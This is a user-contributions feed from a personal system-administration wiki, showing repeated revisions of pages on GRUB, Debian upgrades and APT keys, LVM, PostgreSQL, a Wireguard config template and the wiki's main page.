Alessandro's Wiki - User contributions [en]

GRUB

2025-08-21T09:30:21Z

Porcelinux:

= Grub 2 =
* command that generates and prints out configuration:
grub2-mkconfig
* save configuration
grub2-mkconfig -o /boot/grub/grub.cfg
* regenerate EFI file
mv /boot/efi/EFI/fedora/grub.cfg /tmp/grub.cfg
dnf reinstall grub2-common

* get OS's list of labels
grep ^menuentry /boot/grub2/grub.cfg | cut -d "'" -f2
Fedora
Ubuntu 12.04.2 LTS (12.04)
Gentoo Base System release 2.1
* show actual default entry
grub2-editenv list
saved_entry=Fedora Linux, with Linux 3.6.6-1.fc17.i686.PAE
* alter default entry
grub2-set-default "Gentoo Base System release 2.1"
* check...
grub2-editenv list
saved_entry=Gentoo Base System release 2.1

== Other Operative Systems disappeared ==

From debian 12, an option in grub config will disable the scan for other OS's thus making impossible to boot from them.
how to fix:
* open the config
vi /etc/default/grub
* un-comment or add this line:
GRUB_DISABLE_OS_PROBER=false
* regenerate grub config:
update-grub

== Boot after update ==

ALERT! /dev/mapper/ubuntu--vg-root does npt exist. Dropping to a shell!

(initram-fs)# vgchange -ay

= Grub 1.X =

[http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=1&chap=10 Link a una documentazione...]

==== Installing GRUB in the Master Boot Record ====

* Con ''grub-install''
grub-install /dev/hda
o meglio... '''(se si sta installando il sistema)'''
chroot /mnt/sysimage/
** con la directory boot sta nella /
/sbin/grub-install --root-directory=/boot /dev/md1
** con la directory boot è una partizione
/sbin/grub-install --root-directory=/ /dev/md0

* find grub copies:
grub> find /grub/stage1
* or...
grub> find /boot/grub/stage1

* ''grub'' (/usr/sbin/grub)
grub> device (hd0) /dev/sdb (/dev/hdb for ide)
grub> root (hd0,0) (La partizione di boot, Disco 0 Partizione 0)
grub> setup (hd0) (Installa GRUB nel MBR)
grub> quit (Esci dalla shell GRUB)

==== Immagine sfondo grub ====
1. xpm.gz file
2. 640x480
3. 14 colors
4. copiare in /boot/grub
5. gzip myfile.xpm

==== VGA modes ====
| 640x480 800x600 1024x768 1280x1024
----+-------------------------------------
256 | 0x301 0x303 0x305 0x307
32k | 0x310 0x313 0x316 0x319
64k | 0x311 0x314 0x317 0x31A
16M | 0x312 0x315 0x318 0x31B

Debian

2025-08-20T20:51:47Z

Porcelinux:

Linux Distribution

http://www.debian.org/

*; Releases
*Debian 13 (Trixie)
*Debian 12 (Bookworm)
*Debian 11 (Bullseye)
*Debian 10 (Buster)
*Debian 9 (Stretch)
*Debian 8 (Jessie)
*Debian 7 (wheezy)
*Debian 6 (squeeze)
*Debian GNU/Linux 5.0 (lenny)
*Debian GNU/Linux 4.0 (etch)
*Debian GNU/Linux 3.1 (sarge)
*Debian GNU/Linux 3.0 (woody)
*Debian GNU/Linux 2.2 (potato)
*Debian GNU/Linux 2.1 (slink)
*Debian GNU/Linux 2.0 (hamm)

= APT =
* skip suggested packages:
--no-install-recommends
== testing software ==

* add the backport repo: /etc/apt/sources.list
deb http://backports.debian.org/debian-backports lenny-backports main contrib non-free
* update.....
apt-get update
* install the newest package
aptitude -t lenny-backports install <latest_software>

== distribution upgrade =

* 11 -> 12
sed -i s/bullseye/bookworm/ /etc/apt/sources.list

apt update
apt upgrade --without-new-pkgs
apt full-upgrade
init 6

== how big is your disk ==
* this will tell you how much disk space the next upgrade will take
# apt-get -o APT::Get::Trivial-Only=true dist-upgrade

== package architecture (arm64) does not match system (armhf) ==

Errors were encountered while processing:
mongodb-org-server_4.4.9_arm64.deb
root@raspberrypi02:~# dpkg --add-architecture arm64

== apt Keys ==

<pre>
W: GPG error: http://archive.debian.org lenny Release: The following signatures were invalid: KEYEXPIRED 1337087218 The following signatures couldn't be verified because the public key is not available: NO_PUBKEY AED4B06F473041FA
W: You may want to run apt-get update to correct these problems
</pre>

*; apt-key list | grep -A 1 expired
<pre>
pub 1024D/6070D3A1 2006-11-20 [expired: 2009-07-01]
uid Debian Archive Automatic Signing Key (4.0/etch) <ftpmaster@debian.org>
--
pub 1024D/BBE55AB3 2007-03-31 [expired: 2010-03-30]
uid Debian-Volatile Archive Automatic Signing Key (4.0/etch)
--
pub 1024D/F42584E6 2008-04-06 [expired: 2012-05-15]
uid Lenny Stable Release Key <debian-release@lists.debian.org>
--
pub 4096R/55BE302B 2009-01-27 [expired: 2012-12-31]
uid Debian Archive Automatic Signing Key (5.0/lenny) <ftpmaster@debian.org>
--
pub 2048R/6D849617 2009-01-24 [expired: 2013-01-23]
uid Debian-Volatile Archive Automatic Signing Key (5.0/lenny)
</pre>
* and renew them with a small script
for a in 6070D3A1 BBE55AB3 F42584E6 55BE302B 6D849617
do gpg --keyserver pgpkeys.mit.edu --recv-key $a
gpg -a --export $a | apt-key add -
done

= locale settings =

* edit the file:
/etc/environment
;;;
LANG=en_IN
LC_MESSAGES=en_IN
* or
LANG=it_IT
LC_MESSAGES=it_IT

* and
/etc/locale.gen
;;;
en_US.UTF-8 UTF-8
it_IT ISO-8859-1
it_IT.UTF-8 UTF-8
it_IT@euro ISO-8859-15
en_IN UTF-8

/etc/environment && locale-gen

Debian

2025-08-20T18:49:09Z

Porcelinux:

Linux Distribution

http://www.debian.org/

*; Releases
*Debian 12 (Bookworm)
*Debian 11 (Bullseye)
*Debian 10 (Buster)
*Debian 9 (Stretch)
*Debian 8 (Jessie)
*Debian 7 (wheezy)
*Debian 6 (squeeze)
*Debian GNU/Linux 5.0 (lenny)
*Debian GNU/Linux 4.0 (etch)
*Debian GNU/Linux 3.1 (sarge)
*Debian GNU/Linux 3.0 (woody)
*Debian GNU/Linux 2.2 (potato)
*Debian GNU/Linux 2.1 (slink)
*Debian GNU/Linux 2.0 (hamm)

= APT =
* skip suggested packages:
--no-install-recommends
== testing software ==

* add the backport repo: /etc/apt/sources.list
deb http://backports.debian.org/debian-backports lenny-backports main contrib non-free
* update.....
apt-get update
* install the newest package
aptitude -t lenny-backports install <latest_software>

== distribution upgrade =

* 11 -> 12
sed -i s/bullseye/bookworm/ /etc/apt/sources.list

apt update
apt upgrade --without-new-pkgs
apt full-upgrade
init 6

== how big is your disk ==
* this will tell you how much disk space the next upgrade will take
# apt-get -o APT::Get::Trivial-Only=true dist-upgrade

== package architecture (arm64) does not match system (armhf) ==

Errors were encountered while processing:
mongodb-org-server_4.4.9_arm64.deb
root@raspberrypi02:~# dpkg --add-architecture arm64

== apt Keys ==

<pre>
W: GPG error: http://archive.debian.org lenny Release: The following signatures were invalid: KEYEXPIRED 1337087218 The following signatures couldn't be verified because the public key is not available: NO_PUBKEY AED4B06F473041FA
W: You may want to run apt-get update to correct these problems
</pre>

*; apt-key list | grep -A 1 expired
<pre>
pub 1024D/6070D3A1 2006-11-20 [expired: 2009-07-01]
uid Debian Archive Automatic Signing Key (4.0/etch) <ftpmaster@debian.org>
--
pub 1024D/BBE55AB3 2007-03-31 [expired: 2010-03-30]
uid Debian-Volatile Archive Automatic Signing Key (4.0/etch)
--
pub 1024D/F42584E6 2008-04-06 [expired: 2012-05-15]
uid Lenny Stable Release Key <debian-release@lists.debian.org>
--
pub 4096R/55BE302B 2009-01-27 [expired: 2012-12-31]
uid Debian Archive Automatic Signing Key (5.0/lenny) <ftpmaster@debian.org>
--
pub 2048R/6D849617 2009-01-24 [expired: 2013-01-23]
uid Debian-Volatile Archive Automatic Signing Key (5.0/lenny)
</pre>
* and renew them with a small script
for a in 6070D3A1 BBE55AB3 F42584E6 55BE302B 6D849617
do gpg --keyserver pgpkeys.mit.edu --recv-key $a
gpg -a --export $a | apt-key add -
done

= locale settings =

* edit the file:
/etc/environment
;;;
LANG=en_IN
LC_MESSAGES=en_IN
* or
LANG=it_IT
LC_MESSAGES=it_IT

* and
/etc/locale.gen
;;;
en_US.UTF-8 UTF-8
it_IT ISO-8859-1
it_IT.UTF-8 UTF-8
it_IT@euro ISO-8859-15
en_IN UTF-8

/etc/environment && locale-gen

Main Page

2025-08-15T22:46:43Z

Porcelinux:

'''Welcome to Alessandro's wiki'''

''I've populated this page along the path I'm following through the information technology world.
Beware! some information may be really outdated, started in 2006.

''In the twists and turns of this server's memory, where my thoughts are stored and folded in, you could find frightful ones.''

donate, you can use the following Bitcoin or Litecoin addresses. Thank you

BTC
1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk
LTC
LYbzJsCVmTynaK63CNMne89xKj961jFbWc

[[Alessandro's_Wiki:About]]

== System Administration Topics ==
{| border="0" align="center" width="100%"
|+
|width="10%"|
{|
=== Internet & Network Applications ===
*; CMS, wiki, etc.
** [[Trac]]
** [[mediawiki]]
** [[Gallery]] ''online photo archive system''
** [[Plone]]
** [[Joomla]]
** [[Drupal]]
** [[Wordpress]]
** [[Owncloud]]

*; Daemons
** [[Mail Systems]], [[Spf]]
** [[mnogo]]
** [[supervisord]]
** [[Apache]]
** [[lighttpd]]
** [[Nginx]]
** [[hotsmtpd]] ''hotmail in Evolution''
** [[Ganglia]]
** [[MySQL]]
** [[PostgreSQL]]
** [[Oracle]]
** [[NetBoot]]
** [[Insync]] ''GoogleDrive(R) "emulator"''
*; Protocols
** [[SNMP]]
** [[NFS]] ''linux Networks''
** [[Samba]] ''windows networks''
** [[AFP]] ''Apple networks''
** [[rsync]]
** [[SSH]] ''Secure SHell''
** [[CVS]]
** [[Subversion]]
** [[Git]]
** [[FTP]]
** [[OpenVPN]] ''Virtual Private Network''
** [[wireguard]] ''VPN''
** [[wget]] ''HTTP from terminal''
** [[httrack]] ''freeze a website''
** [[RealTimeWebContent]]

|}
|width="10%"|
{|

=== Pure System ===
* [[CPU]] , [[CrossCompiling]]
* '''x86_64'''
** [[Fedora]] ''RedHat, ScientificLinux, CentOS''
** [[Gentoo]]
*** [[make.conf|/etc/make.conf]]
*** [[USE_flags]] , [[webapp-config]] , [[Cmake]]
* [[KDE (intorno)|KDE]] , [[Click destro KDE]]
* [[Gnome]]
* [[ Qemu ]]
* [[BOOT|Boot !]] , [[GRUB|GRUB (Gestore Boot)]]
* [[VI|VI (Editor di testo)]]
* [[BASH]]
* [[Xorg]]
* [[PostInstallazioni]]
* [[BIOS]]
* [[processes and threads]]
* [[sudo]]
* [[RemoteConsoles]]
* [[systemd]]
* [[Raspberrypi]]
* [[Wine]]

=== Networking Layer ===

* [[Ethernet]]
** [[dhcp]]
** [[Bridging]]
** [[NAT]]
* [[Wireless]]
** [[Schede]]
** [[Wardriving]]
* [[Firewall (iptables)]]
* [[Livello Fisico|Physical Layer]]
* [[IP Protocol]]
* [[router-language]]
* [[OpenWRT]]
|}
|width="10%"|
{|

=== Multimedia ===
* Video
** [[Kodi]]
** [[Resolution Standards]], [[Compiz]]
** [[VideoCaptureAdapters]]
** [[MPLAYER_MENCODER|mplayer, mencoder & ffmpeg]]
** [[ffserver|ffserver]]
** [[crtmpserver|C++ rtmp Server]]
** [[motion]]
** [[Imagemagick]]
** [[DVDStyler]] (authoring DVD)
** [[PiTiVi]] (montaggio video)
** [[Kino]]
** [[youtube]]
** [[JWplayer]]
** [[DarwinStreamingServer]]
** [[Conversioni Numeriche]]
** [[webcamstudio]]
** [[Jitsi]]
** [[Moonlight]]
* Audio
** [[Volumio]]
** [[pulseaudio]]
** [[Amarok]]
** [[ESOUND]]
** [[SOX]]
** [[mpd]] ''Music server''
*; Network / Server
** [[Skype]]
** [[Converter]]
** [[RealMedia]]
** [[red5]]
** [[erlyvideo]]
** [[Beryl Window Manager]]
* Drivers
** [[saa713x]]
** [[touchscreen]]

|}
|width="10%"|
{|

=== Storage, File Systems & Data Recovery ===
* [[FileSystems]]
* [[devices and storage]] ''manage, analyze, etc.''
** [[SCSI]]
** [[Mounting devices]]
** [[crypted disk image]]
* [[RAID]]
* [[LVM]]
* [[Ramdisk]]
* [[Cattive abitudini]]
* [[Backups]]
** [[Bacula]]
* [[Propagazione]]
* [[ISO Managing (ISO9660)]]
* [[DRBD]]

=== Kernel ===
* [[Kernel_boot_parameters|Boot Parameters]]
* [[Configuring|Configuring & compiling]]
* [[Sheduling]]
* [[IO Sheduler]]
* [[mettere alla prova]]
* [[memory]]
* [[entropy]]
* [[clock]]
* [[Docker]]

=== Monitoring & Security ===
* [[lm_sensors]] ''linux hardware sensor layer''
* [[Nagios]] ''advanced sesor-based network monitoring system''
* [[Munin]] ''draws graphs from system sensors''
* [[Ganglia]] ''graphs and host grouping for clusters''
* [[MRTG]] ''rrdtool based snmp-based switch grapher''
* [[Modsecurity]] ''Web application firewall''
** '''''security'''''
* [[Tripwire]]
* [[Supervisord]]
* [[Awstats]]
* [[Observium]]
|}
|}

== Crypto, Cypherpunks and Hippy Brokers ==
{| border="0" align="center" width="100%"
|+
|width="10%"|
{|
=== Crypto world Information ===

News
* https://www.coindesk.com/
* https://cointelegraph.com/

data and graphs
* http://cryptocoin.cc/
* https://coinmarketcap.com/
* https://coincheckup.com/

|}
|width="10%"|
{|

* [[Crypto]] Exchanges and Stuff
* [[Wallets]]
** [[Ethereum]]
'' loosing money is very easy !!!'' if you're not sure, better send it to me...

|}
|width="10%"|
{|

=== Mining World ===

* [[Mining]] ''my notes and mining experiments'' (use with care!!)

|}
|}

== End Users Topics ==

{| width="100%"
|width="50%"|
{|

==== GNU/Linux distos ====

* [[Debian]]
** [[Ubuntu]]
** [[UbuntuStudio]]
* [[Scientific Linux]]
** [[RedHat Enterprise Linux]]
** [[CentOS]]

[[TabellaCaratteristicheDistribuzioni]]

[http://www.gentoo.org/][[Image:Gentoo.png]]

[http://www.ubuntu.org/] [[Image:ubuntuLogoSmall.png]]

[http://www.kubuntu.org/] [[Image:kubuntuLogoSmall.jpg]]

[https://www.scientificlinux.org][[Image:scientificlinux.gif]]

[http://fedoraproject.org/][[Image:fedoraLogoSmall.jpg]]

=== Programming/Scripting ===
* [[code analysis]] ''code analyzing software''
* [[BASH]]
* [[UML]]
* [[CSS]]
* [[PHP]]
* [[Javascript]]
* [[Python]]
* [[C]]
* [[SQL]]
* [[Curl]]
* [[Perl]]

|}
|width="50%"|
{|

===== Audio/Video =====
*'''[[Formati di Compressione]]'''
*'''[[KDEactions|Click destro in KDE]]''' ''right-click in KDE , how/t to implement''
*'''[[MPLAYER_MENCODER|Mplayer & Mencoder]]''' ''direct encoding commands from terminal (mplayer mencoder ffmpeg)''
*'''[[MIME Types]]''' ''associare tipi di file a programmi''
*'''[[Kino]]''' ''simple editing software (very simple for end user) ''
*'''[[Audacity]]''' ''Editing audio''
*'''[[skype]]''' ''Skype & VoIP''
*'''[[Kdenlive]]''' ''Montaggio multitraccia per linux''
*'''[[MediaSync]]''' ''framework di gestione materiale multimediale ''
*'''[http://videoteca.webhop.net/ MediaCutter ''(beta)'']'''

===== Some Random Stuff =====
*'''[[converter|CAAP]]''' ''(Conversioni Automatizzate Asincrone in Parallelo) / batch system '''PBS''' ''
*'''[[DB|i database multimediali]]'''
*'''[[Kickstart]]''' ''Installazioni Automatizzate ''
*'''[[Procedimenti]]''' ''Raccolta di procedimenti''
*'''[[OpenVPN]]'''
*'''[[Safe Browsing]]''' ''collection of common or more sophisticated safe browsing tips''
*; Apple
**'''[[Mac]]''' ''OSx''
** '''[[MacDevices]]''' ''using Apple devices on linux''
**'''[[maclinux]]''' ''Linux su MacBook''
**'''[[once upon a time, there was an apple]]'''
|}
|}

== The World Beyond IT==
{| border="0" align="center" width="100%"
|width="30%"|
{|
=== Robotics / Electronics ===
* [[Propulsori Stepper]]
* [[Porta Parallela]]
* [[Arduino]]
* [[MicroControllori PIC]]

=== Physics ===

* [[Physics]]

=== Links: ===

* http://foto.alessandrodelgallo.org my photo gallery
* http://videoteeka.com my video gallery software ''(outdated)''
* http://www.youtube.com/user/porcelinux old YouTube channel

* [http://www.mediawiki.org/wiki/Help:FAQ MediaWiki FAQ]
* [http://www.mediawiki.org/wiki/Help:Formatting MediaWiki Help Formatting]

|}
|width="30%"|
{|

=== Languages ===
* [[Italiano]]
** a wonderful dictionary http://www.wordreference.com/
** dizionario etimologico: http://www.etimo.it/
** dizionario italiano http://www.demauro.it/
* [[Spangolo]]
* [[English]]
* [[Olandese]]
** [[living in the nederlands|Living in the Netherlands]]
* [[Deutsch]]
** [[Living in Germany]]

*; [[Documicate]] what is [[documication]] ?

* [[NienteNadaNothing]]
|}
|}

If you liked this wiki and you want to donate, you can use the following Bitcoin or Litecoin addresses. Thank you
*;BTC : 1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk
*;LTC : LYbzJsCVmTynaK63CNMne89xKj961jFbWc

Wireguard

2025-08-15T22:45:18Z

Porcelinux:

[Interface]
# Name = host
Address = 10.0.2.3/32
ListenPort = 12345
PrivateKey =
DNS = 1.0.0.1,1.0.0.2
Table = 1234
# MTU = 1420
# PreUp = /bin %i
# PostUp = /bin %i
# PreDown = /bin %i
# PostDown = /bin %i

[Peer]
# Name = peer
AllowedIPs = 10.0.2.1/24
Endpoint = peer.fqdn:56789
PublicKey =
PersistentKeepalive = 60

Wireguard

2025-08-15T22:44:44Z

Porcelinux:

Wireguard

2025-08-15T22:42:47Z

Porcelinux: Created page with " [Interface] # Name = host Address = 192.0.2.3/32 ListenPort = 51820 PrivateKey = DNS = 1.0.0.1,1.0.0.2 Table = 12345 MTU = 1420 PreUp = /bin/example arg1 arg2 %i PostUp = /bin/example arg1 arg2 %i PreDown = /bin arg1 arg2 %i PostDown = /bin arg1 arg2 %i [Peer] # Name = peer AllowedIPs = 10.0.2.1/24 Endpoint = node1.example.tld:12345 PublicKey = remotePublicKeyAbcAbcAbc= PersistentKeepalive = 25"

[Interface]
# Name = host
Address = 192.0.2.3/32
ListenPort = 51820
PrivateKey =
DNS = 1.0.0.1,1.0.0.2
Table = 12345
MTU = 1420
PreUp = /bin/example arg1 arg2 %i
PostUp = /bin/example arg1 arg2 %i
PreDown = /bin arg1 arg2 %i
PostDown = /bin arg1 arg2 %i

[Peer]
# Name = peer
AllowedIPs = 10.0.2.1/24
Endpoint = node1.example.tld:12345
PublicKey = remotePublicKeyAbcAbcAbc=
PersistentKeepalive = 25

PostgreSQL

2025-02-16T20:21:33Z

Porcelinux:

=Command Line Tools=

==Queries==
*Create an Admin user from command line
CREATE USER user WITH LOGIN PASSWORD 'md53Oa21Oc89654a4b3a8255688186I58a9' VALID UNTIL '2205-01-01' SUPERUSER ;

* Get list of databases and their sizes:
SELECT pg_database.datname, pg_database_size(pg_database.datname), pg_size_pretty(pg_database_size(pg_database.datname))
FROM pg_database ORDER BY pg_database_size DESC;

== Shell ==
* Connect to a PostgreSQL server.
export PGPASSWORD="password"
psql -t -A -h <hostname> <database> <utente> -c "SELECT myquery FROM table";

* script to compare the row count on all tables between a master and a replica database (run in the replica with "trusted" user)
<source lang=bash>
tables=`$PCOMMAND -c "select tablename from pg_tables;"`

host_src=10.1.1.1
host_dst=10.1.1.2
PCOMMAND="psql -t -A -Upostgres db_name"

tables=`$PCOMMAND -h$host_src -c "SELECT * FROM information_schema.tables WHERE table_type != 'VIEW'"|awk -F"|" '{print $2"."$3}'`

IFS=$'\n'
for TABLE in $tables ;do
unset IFS
count_src=`$PCOMMAND -h$host_src -c "select count(*) from $TABLE;"`
count_dst=`$PCOMMAND -h$host_dst -c "select count(*) from $TABLE;"`
if [ $count_src -ne $count_dst ];then
echo -e "different record count betwen $host_src ($count_src)\t and $host_dst ($count_dst)\t in table $TABLE"
fi
done
</source>

== Configuration ==
*; some standard locations
**home:/var/lib/postgres
**conf:/etc/postgres/x.x/main/
**logs:/var/log/postgres/x.x/main

* More Logging
add in postgresql.conf
log_line_prefix = '%t %c %u ' # time sessionid user
log_statement = 'all'

== Errors ==

<pre>
2025-02-16 16:05:08.491 UTC 67b20cb4.1fdcb 0 archiver archiver FATAL: password authentication failed for user "archiver"
2025-02-16 16:05:08.491 UTC 67b20cb4.1fdcb 0 archiver archiver DETAIL: User "archiver" has no password assigned.
Connection matched pg_hba.conf line 7: "local all all md5"
2025-02-16 16:05:08.491 UTC 67b20cb4.1fdcb 0 archiver archiver LOG: could not send data to client: Broken pipe
2025-02-16 16:05:08.510 UTC 67b20cb4.1fdd0 0 [unknown] archiver ERROR: replication slot "vpg_archiver" already exists
2025-02-16 16:05:08.510 UTC 67b20cb4.1fdd0 0 [unknown] archiver STATEMENT: CREATE_REPLICATION_SLOT "vpg_archiver" PHYSICAL
2025-02-16 16:05:08.817 UTC 67b20cb4.1fdd8 0 [unknown] archiver ERROR: requested WAL segment 0000000100000022000000C4 has already been removed
2025-02-16 16:05:08.817 UTC 67b20cb4.1fdd8 0 [unknown] archiver STATEMENT: START_REPLICATION SLOT "vpg_archiver" 22/C4000000 TIMELINE 1
<pre>

= PostgreSQL GUI's =

== phpPgAdmin ==

*; fix problem with Postgres version 9.4
* taken and modified from: http://stackoverflow.com/questions/13467949/error-on-creating-database-in-phppgadmin
Quick Fix: (worked with my Version (5.0.3) / pg 9.2.3 )

#cd classes/database
#copy Postgres84.php to Postgres94.php
#open Connection.php
#add a line case '9.4': return 'Postgres94'; break; at the // Detect version and choose appropriate database driver switch.
#open Postgres.php and copy functions getTablespaces + getTablespace
#open Postgres94.php and paste the functions into the class
## replace ", spclocation," with ", pg_tablespace_location(oid) as spclocation," in both functions.
## change class name to Postgres94

==PostgreSQLStudio ==
http://www.postgresqlstudio.org/download/

==TeamPostgreSQL==

http://www.teampostgresql.com/

LVM

2025-01-20T20:42:03Z

Porcelinux:

= Info =

*; Phisical Volumes
pvs

*; Volume Groups
vgs
*; Logical Volumes
lvs

= Phisical Volumes (PV) =
pvs
PV VG Fmt Attr PSize PFree
/dev/sda vg_1 lvm2 a-- 930.82g 0
/dev/sdb vg_1 lvm2 a-- 931.31g 931.31g
* Phisical to Virtual
lvs -a -o +devices
* Segmentation
pvs -v --segments /dev/sdb1
PV VG Fmt Attr PSize PFree Start SSize LV Start Type PE Ranges
/dev/sdb1 server03-vg lvm2 a-- 58.35g 40.35g 0 4608 root 0 linear /dev/sdb1:0-4607
/dev/sdb1 server03-vg lvm2 a-- 58.35g 40.35g 4608 10330 0 free

== add a disk to a PV ==
vgextend vg_1 /dev/sdb
Volume group "vg_1" successfully extended

== remove a disk from PV ==
vgreduce vg_1 /dev/sdb
Removed "/dev/sdb" from volume group "vg_1"

== delete a PV ==
vgremove vg_1
Volume group "vg_1" successfully removed

== xx is using an old PV header, modify the VG to update. ==
appears when moving/updating from RHEL5 to 6 then RHEL6 to 7 and to 8
* update PV header version
vgck --updatemetadata xx
* check PV header version
pvck --dump headers /dev/<device

= Resizing out from Disk->PV->LV->Partition =
* After resizing a physical drive this commands will claim the space gained to the file system.
*resizing LVM linux partition to the new disk boundaries
pvresize /dev/md1

pvresize --setphysicalvolumesize (size here) /dev/sda5

* adding 100G
lvextend -L+100G /dev/mapper/vg0-var
* ext4 resizing command
resize2fs /dev/mapper/vg0-var

df -hT

= Logical Volumes =
== create a mirror volume ==

lvcreate -L 931g vg_1 -m 1 vg_1

== create a mirror from existing and mounted volume ==

lvconvert -m1 vg_1/lv_home

* then we check the result:
# pvs;echo;vgs;echo;lvs
PV VG Fmt Attr PSize PFree
/dev/sda2 vg_1 lvm2 a-- 930.82g 0
/dev/sdb vg_1 lvm2 a-- 931.31g 56.33g

VG #PV #LV #SN Attr VSize VFree
vg_1 2 3 0 wz--n- 1.82t 56.33g

LV VG Attr LSize Pool Origin Data% Move Log Copy% Convert
lv_home vg_1 mwi-aom- 874.98g lv_home_mlog 100.00
lv_root vg_1 -wi-ao-- 50.00g
lv_swap vg_1 -wi-ao-- 5.84g

LVM

2025-01-19T09:30:48Z

Porcelinux:

= Info =

*; Phisical Volumes
pvs

*; Volume Groups
vgs
*; Logical Volumes
lvs

= Phisical Volumes (PV) =

pvs
PV VG Fmt Attr PSize PFree
/dev/sda vg_1 lvm2 a-- 930.82g 0
/dev/sdb vg_1 lvm2 a-- 931.31g 931.31g
* Phisical to Virtual
lvs -a -o +devices
* Segmentation
pvs -v --segments /dev/sdb1
PV VG Fmt Attr PSize PFree Start SSize LV Start Type PE Ranges
/dev/sdb1 server03-vg lvm2 a-- 58.35g 40.35g 0 4608 root 0 linear /dev/sdb1:0-4607
/dev/sdb1 server03-vg lvm2 a-- 58.35g 40.35g 4608 10330 0 free

== add a disk to a PV ==
vgextend vg_1 /dev/sdb
Volume group "vg_1" successfully extended

== remove a disk from PV ==

vgreduce vg_1 /dev/sdb
Removed "/dev/sdb" from volume group "vg_1"

== delete a PV ==
vgremove vg_1
Volume group "vg_1" successfully removed

= Resizing out from Disk->PV->LV->Partition =

* After resizing a physical drive this commands will claim the space gained to the file system.
*resizing LVM linux partition to the new disk boundaries
pvresize /dev/md1

pvresize --setphysicalvolumesize (size here) /dev/sda5

* adding 100G
lvextend -L+100G /dev/mapper/vg0-var
* ext4 resizing command
resize2fs /dev/mapper/vg0-var

df -hT

== xx is using an old PV header, modify the VG to update. ==

vgck --updatemetadata xx

= Logical Volumes =
== create a mirror volume ==

lvcreate -L 931g vg_1 -m 1 vg_1

== create a mirror from existing and mounted volume ==

lvconvert -m1 vg_1/lv_home

* then we check the result:
# pvs;echo;vgs;echo;lvs
PV VG Fmt Attr PSize PFree
/dev/sda2 vg_1 lvm2 a-- 930.82g 0
/dev/sdb vg_1 lvm2 a-- 931.31g 56.33g

VG #PV #LV #SN Attr VSize VFree
vg_1 2 3 0 wz--n- 1.82t 56.33g

LV VG Attr LSize Pool Origin Data% Move Log Copy% Convert
lv_home vg_1 mwi-aom- 874.98g lv_home_mlog 100.00
lv_root vg_1 -wi-ao-- 50.00g
lv_swap vg_1 -wi-ao-- 5.84g

LVM

2025-01-19T09:30:16Z

Porcelinux: /* xx is using an old PV header, modify the VG to update. */

= Info =

*; Phisical Volumes
pvs

*; Volume Groups
vgs
*; Logical Volumes
lvs

= Phisical Volumes (PV) =

pvs
PV VG Fmt Attr PSize PFree
/dev/sda vg_1 lvm2 a-- 930.82g 0
/dev/sdb vg_1 lvm2 a-- 931.31g 931.31g
* Phisical to Virtual
lvs -a -o +devices
* Segmentation
pvs -v --segments /dev/sdb1
PV VG Fmt Attr PSize PFree Start SSize LV Start Type PE Ranges
/dev/sdb1 server03-vg lvm2 a-- 58.35g 40.35g 0 4608 root 0 linear /dev/sdb1:0-4607
/dev/sdb1 server03-vg lvm2 a-- 58.35g 40.35g 4608 10330 0 free

== add a disk to a PV ==
vgextend vg_1 /dev/sdb
Volume group "vg_1" successfully extended

== remove a disk from PV ==

vgreduce vg_1 /dev/sdb
Removed "/dev/sdb" from volume group "vg_1"

== delete a PV ==
vgremove vg_1
Volume group "vg_1" successfully removed

= Resizing out from Disk->PV->LV->Partition =

* After resizing a physical drive this commands will claim the space gained to the file system.
*resizing LVM linux partition to the new disk boundaries
pvresize /dev/md1

pvresize --setphysicalvolumesize (size here) /dev/sda5

* adding 100G
lvextend -L+100G /dev/mapper/vg0-var
* ext4 resizing command
resize2fs /dev/mapper/vg0-var

df -hT

= Logical Volumes =
== create a mirror volume ==

lvcreate -L 931g vg_1 -m 1 vg_1

== create a mirror from existing and mounted volume ==

lvconvert -m1 vg_1/lv_home

* then we check the result:
# pvs;echo;vgs;echo;lvs
PV VG Fmt Attr PSize PFree
/dev/sda2 vg_1 lvm2 a-- 930.82g 0
/dev/sdb vg_1 lvm2 a-- 931.31g 56.33g

VG #PV #LV #SN Attr VSize VFree
vg_1 2 3 0 wz--n- 1.82t 56.33g

LV VG Attr LSize Pool Origin Data% Move Log Copy% Convert
lv_home vg_1 mwi-aom- 874.98g lv_home_mlog 100.00
lv_root vg_1 -wi-ao-- 50.00g
lv_swap vg_1 -wi-ao-- 5.84g

== xx is using an old PV header, modify the VG to update. ==

vgck --updatemetadata xx

LVM

2025-01-19T09:30:01Z

Porcelinux:

= Info =

*; Phisical Volumes
pvs

*; Volume Groups
vgs
*; Logical Volumes
lvs

= Phisical Volumes (PV) =

pvs
PV VG Fmt Attr PSize PFree
/dev/sda vg_1 lvm2 a-- 930.82g 0
/dev/sdb vg_1 lvm2 a-- 931.31g 931.31g
* Phisical to Virtual
lvs -a -o +devices
* Segmentation
pvs -v --segments /dev/sdb1
PV VG Fmt Attr PSize PFree Start SSize LV Start Type PE Ranges
/dev/sdb1 server03-vg lvm2 a-- 58.35g 40.35g 0 4608 root 0 linear /dev/sdb1:0-4607
/dev/sdb1 server03-vg lvm2 a-- 58.35g 40.35g 4608 10330 0 free

== add a disk to a PV ==
vgextend vg_1 /dev/sdb
Volume group "vg_1" successfully extended

== remove a disk from PV ==

vgreduce vg_1 /dev/sdb
Removed "/dev/sdb" from volume group "vg_1"

== delete a PV ==
vgremove vg_1
Volume group "vg_1" successfully removed

= Resizing out from Disk->PV->LV->Partition =

* After resizing a physical drive this commands will claim the space gained to the file system.
*resizing LVM linux partition to the new disk boundaries
pvresize /dev/md1

pvresize --setphysicalvolumesize (size here) /dev/sda5

* adding 100G
lvextend -L+100G /dev/mapper/vg0-var
* ext4 resizing command
resize2fs /dev/mapper/vg0-var

df -hT

= Logical Volumes =
== create a mirror volume ==

lvcreate -L 931g vg_1 -m 1 vg_1

== create a mirror from existing and mounted volume ==

lvconvert -m1 vg_1/lv_home

* then we check the result:
# pvs;echo;vgs;echo;lvs
PV VG Fmt Attr PSize PFree
/dev/sda2 vg_1 lvm2 a-- 930.82g 0
/dev/sdb vg_1 lvm2 a-- 931.31g 56.33g

VG #PV #LV #SN Attr VSize VFree
vg_1 2 3 0 wz--n- 1.82t 56.33g

LV VG Attr LSize Pool Origin Data% Move Log Copy% Convert
lv_home vg_1 mwi-aom- 874.98g lv_home_mlog 100.00
lv_root vg_1 -wi-ao-- 50.00g
lv_swap vg_1 -wi-ao-- 5.84g

=== xx is using an old PV header, modify the VG to update. ===

vgck --updatemetadata xx

GRUB

2025-01-19T09:21:39Z

Porcelinux: /* Grub 2 */

= Grub 2 =
